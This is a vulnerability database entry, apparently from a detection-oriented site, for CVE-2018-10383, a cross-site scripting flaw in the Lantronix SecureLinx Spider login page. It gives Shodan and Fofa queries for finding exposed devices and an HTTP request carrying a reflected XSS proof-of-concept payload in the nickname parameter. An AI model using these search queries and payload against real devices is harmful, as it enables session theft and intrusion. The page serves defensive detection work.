🔙 목록으로 돌아가기

CVE-2018-10383: Lantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting

TitleLantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAttackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
RemediationApply the latest security patches from Lantronix or upgrade to a patched firmware version.
CVSS Score6.1
EPSS Score0.05855
CVE IDCVE-2018-10383
CWE IDCWE-79
Shodan Querytitle:"Lantronix"
Fofa Querytitle="Lantronix"
Tags cve cve2022 lantronix securelinx sls xss vuln

🔍 Vulnerability Description

Lantronix SecureLinx Spider (SLS) 2.2+ devices have XSS in the auth.asp login page.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Accept-Encoding: gzip
GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22alert(document.domain)%22%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10383.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-10383.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A